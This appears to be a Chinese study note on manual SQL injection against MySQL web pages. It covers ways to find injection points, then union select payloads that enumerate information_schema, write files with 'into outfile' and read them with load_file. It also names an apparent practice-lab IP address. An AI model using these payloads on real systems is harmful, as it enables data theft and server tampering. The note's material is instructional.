user() 函数
user() 这个函数, 是取得 当前登陆的用户.
| root@localhost |
exists()函数
exist() 检查是否存在 (对语句结果检查)
select exists(select 1)
返回布尔值 0或1
0是假,1是真
1.判断注入点
-
单引号判断
?id=10’ 如果出现错误提示,则该网站可能就存在注入漏洞。
-
and判断
?id=10’and 1=1这个条件永远都是真的,所以当然返回是正常页
?id=10’and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。
-
or判断
(or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点)
?id=10’or 1=1
?id=10’or 1=2
-
xor判断
(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点。)
http://www.xxx.com/xxx.asp?id=10’xor 1=1
http://www.xxx.com/xxx.asp?id=10’xor 1=2
-
加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.)
http://www.xxx.com/xxx.asp?id=10-0
http://www.xxx.com/xxx.asp?id=10-1
http://www.xxx.com/xxx.asp?id=10+1
-
输入框判断
可以使用特殊符号去判断
#@!$/ …
http://120.24.86.145:9001/sql/
登录框注入,使用#,–都无效,但是使用\报错,这时候上sqlmap,发现可以注入。但是如何进行手工注入?
2.order by
注入点查询的语句有多少个列名(几个字段)
3.and exists()
怎么知道表名
and exists(select * from table_name)
and exists(select column_name from table_name)
4.union select…
搜索型注入、读、写文件
字符型查找(like)
?title=mmmmmmm%’ --+
例:select * from news where title like’%mmmmmmm%’ – %’
数据库名
database()
from ab_name.table_name
from information_schema.tables
where table_schema=‘sqltest’ and table_name<>'admin ’
- information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
获取表名:
union select 1,table_name,3 from information_schema.tables where table_schema='bookdb' and table_name<>'admin';
或
union select 1,table_name,3 from information_schema.columns where table_schema='bookdb' and table_name<>'admin';
获取列名:
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='bookdb' and table_name='admin';
写入文件
union select 1,"hackedbyhelen",3 into outfile "D:/WWW/key.txt" --+
写入需要的条件:
1.绝对路径
D:\ \WWW
D:/WWW
2.必须为最高权限
mysql - root
读取文件:
load_file() 导入文件
replace() 替换
hex() 把你读取的文件内容转换为16进制
union select 1,hex(load_file(ceeeeeefdeeef0)),3 --+